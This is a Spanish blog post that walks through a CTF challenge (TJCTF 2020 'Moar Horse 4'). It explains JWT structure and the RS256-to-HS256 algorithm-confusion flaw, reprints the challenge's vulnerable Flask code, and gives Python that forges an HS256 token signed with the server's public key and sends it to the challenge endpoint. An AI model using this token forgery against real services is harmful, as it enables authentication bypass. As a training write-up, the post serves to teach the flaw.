Atacando JSON Web Token (JWT)

En este post veremos cómo una web que utiliza JWT de forma incorrecta, nos permite crear usuarios con datos arbitrarios. Nos apoyaremos en una reto del CTF TJCTF, concretamente el reto Moar Horse 4.

JWT

Un JWT (JSON Web Token) es una cadena que contiene una estructura de datos firmada, típicamente usada para autentificar a los usuarios. El JWT contiene una firma criptográfica, por ejemplo un HMAC sobre los datos. Debido a esto, sólo el servidor puede crear y modificar los tokens. Esto significa que el servidor puede poner con seguridad userid=123 en el token y entregar el token al cliente, sin tener que preocuparse de que el cliente cambie su identificador de usuario. De esta manera, la autenticación puede ser sin estado: el servidor no tiene que recordar nada sobre los tokens o los usuarios porque toda la información está contenida en el token.

Los JSON Web Tokens generalmente están formados por tres partes: un encabezado o header, un contenido o payload, y una firma o signature. El encabezado identifica qué algoritmo fue usado para generar la firma y normalmente se ve de la siguiente forma:

header = '{"alg":"HS256","typ":"JWT"}'

HS256 indica que este token está firmado utilizando HMAC-SHA256.
El contenido contiene la información de los privilegios o datos del usuario:

payload = '{"loggedInAs":"admin","iat":1422779638}'

El token puede ser fácilmente transmitido en entornos HTTP, siendo similar a estándares basados en XML como SAML. Generalmente los algoritmos de cifrado utilizados son HMAC con SHA-256 (HS256) y firma digital con SHA-256 (RS256).

Vulnerabilidades

Hay una vulnerabilidad muy conocida en las versiones ciertas bibliotecas en las que se puede engañar al servidor que espera que los tokens firmados mediante criptografía asimétrica acepten un token firmado simétricamente. El quid de la cuestión es que al cambiar el algoritmo del token de ‘RS’ a ‘HS’, un endpoint vulnerable utilizará su clave pública para verificar el token de forma simétrica (y al ser pública, esa clave no es muy secreta).

Una sola desviación de bits obtendrá un resultado diferente a la otra. Y ese es un problema con este ataque: si la clave pública que usamos para falsificar una firma es de alguna manera diferente a la clave que el servidor está usando para verificar la firma, una implementación vulnerable puede no ser reportada.

PoC – Prueba de concepto

Para la demostración de esta vulnerabilidad vamos a usar un reto web del ctf TJCTF 2020: Moar Horse 4.

Enunciado

It seems like the TJCTF organizers are secretly running an underground virtual horse racing platform! They call it ‘Moar Horse 4’… See if you can get a flag from it!
Código Fuente del servidor

Resolución

Se trata de un servidor web de Flask que es un framework minimalista escrito en Python que permite crear aplicaciones web rápidamente y con un mínimo número de líneas de código.

A continuación se muestra parte del código de la web en el que se ve cómo se generan y validan los tokens, entre otras cosas.

from flask import Flask, render_template, request, render_template_string, session, url_for, redirect, make_response
import sys
import jwt
jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key : jwt.utils.force_bytes(key) # was causing problems
import os
import random
import collections
import hashlib

app = Flask(__name__, template_folder="templates")
app.secret_key = os.urandom(24)

BOSS_HORSE = "MechaOmkar-YG6BPRJM"

with open("pubkey.pem", "rb") as file:
    PUBLIC_KEY = file.read()

with open("privkey.pem", "rb") as file:
    PRIVATE_KEY = file.read()

Horse = collections.namedtuple("Horse", ["name", "price", "id"])
next_id = 0
valid_horses = {}
with open("horse_names.txt", "r") as file:
    for name in file.read().strip().split("\n"):
        valid_horses[next_id] = Horse(name, 100, next_id)
        next_id += 1

with open("flag.txt", "r") as file:
    flag = file.read()

def validate_token(token):
    try:
        data = jwt.decode(token, PUBLIC_KEY)
        return all(attr in data for attr in ["user","is_omkar","money","horses"]), data
    except:
        return False, None

def generate_token(data):
    token = jwt.encode(data, PRIVATE_KEY, "RS256")
    return token

El index de la web tiene el siguiente aspecto:

Y a través de ella nos permite registrarnos en la página, en la que podemos comprar caballos y competir en carreras con ellos.

Para poder participar en las carreras se necesita un caballo:

Sin embargo, al solo disponer de 100$ no se pueden comprar caballos capaces de batir al “campeón actual”.


Vamos a capturar alguna petición con BurpSuite para poder analizar el token:

Las tres partes del token van separadas por puntos (“.”):

cabecera.datos.firma

Estas partes están codificadas en base64:

Llegados a este punto, podrías generar un token modificando algunos de los datos, pero antes de crear nuevos tokens dándonos, por ejemplo, más dinero, vamos a leer el código del servidor:

@app.route("/")
def main_page():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            return render_template("main.html", money=data["money"])
        else:
            response = make_response(render_template("new_user.html"))
            response.delete_cookie("token")
            return response
    else:
        return render_template("new_user.html")

El primer endpoint nos carga la plantilla main.html en caso de tener un token correcto en nuestras cookies y nos lleva a new_user.html en caso de no tener un token o no ser correcto.
Al registrarnos se nos crea un token:

@app.route("/join")
def join():
    data = {
        "user": True,
        "is_omkar": False,
        "money": 100,
        "horses": []
    }
    response = make_response(redirect("/"))
    response.set_cookie("token", generate_token(data))
    return response

Lo realmente interesante está en el endpoint /do_race:

@app.route("/do_race")
def do_race():
    if "token" in request.cookies:
        is_valid, data = validate_token(request.cookies["token"])
        if is_valid:
            if "horse" in request.args:
                race_horse = request.args.get("horse")
            else:
                return redirect("/race")
            owned_horses = data["horses"]
            if race_horse not in owned_horses:
                return redirect("/race?error")

            boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
            your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16)
            if your_speed > boss_speed:
                return render_template("race_results.html", money=data["money"], victory=True, flag=flag)
            else:
                return render_template("race_results.html", money=data["money"], victory=False)
        else:
            return redirect("/")
    else:
        return redirect("/")

Primeramente se comprueba que el token sea correcto y el siguiente paso es comprobar si la velocidad de nuestro caballo es superior a la del campeón.
Estas velocidades se calculan con las lineas:

boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16)
if your_speed > boss_speed:
    return render_template("race_results.html", money=data["money"], victory=True, flag=flag)

Así que el objetivo es encontrar un caballo cuyo md5 en hexadecimal sea mayor que el md5 en hexadecimal que el campeón:

BOSS_HORSE = "MechaOmkar-YG6BPRJM"
boss_speed = int(hashlib.md5(("Horse_" + BOSS_HORSE).encode()).hexdigest(), 16)
race_horse = 0

while True:
    if int(hashlib.md5(("Horse_" + str(race_horse)).encode()).hexdigest(), 16) > boss_speed:
        break
    race_horse += 1

Una vez sabemos el nombre de nuestro caballo, debemos generar el token. Es importante cambiar el algoritmo a “HS256”:

def generate_jwt_b64(data):
    return base64.urlsafe_b64encode(data).decode().replace("=", "")

header = {
    "typ":"JWT",
    "alg":"HS256"
}
data = {
    "user": True,
    "is_omkar": False,
    "money": 100,
    "horses": [str(race_horse)]
}

token = generate_jwt_b64(json.dumps(header).encode()) + "." + generate_jwt_b64(json.dumps(data).encode())

Finalmente firmarlo con la clave pública que se nos incluye en el código fuente:

with open("server/pubkey.pem", "rb") as f:
signature = hmac.new(
    f.read(),
    msg=token.encode(),
    digestmod=hashlib.sha256
)
print(signature.digest())
token = token + "." + generate_jwt_b64(binascii.a2b_hex(signature.hexdigest()))

Con las lineas anteriores ya tenemos un token correcto, podemos probarlo haciendo la petición a /do_race:

r = requests.get(url="https://moar_horse.tjctf.org/do_race", params={"horse": "6441910"}, cookies={"token": token})
print(re.search(r'<p>(.*?)</p>', r.text).group(0))

Referencias

¿Me ayudas a compatirlo?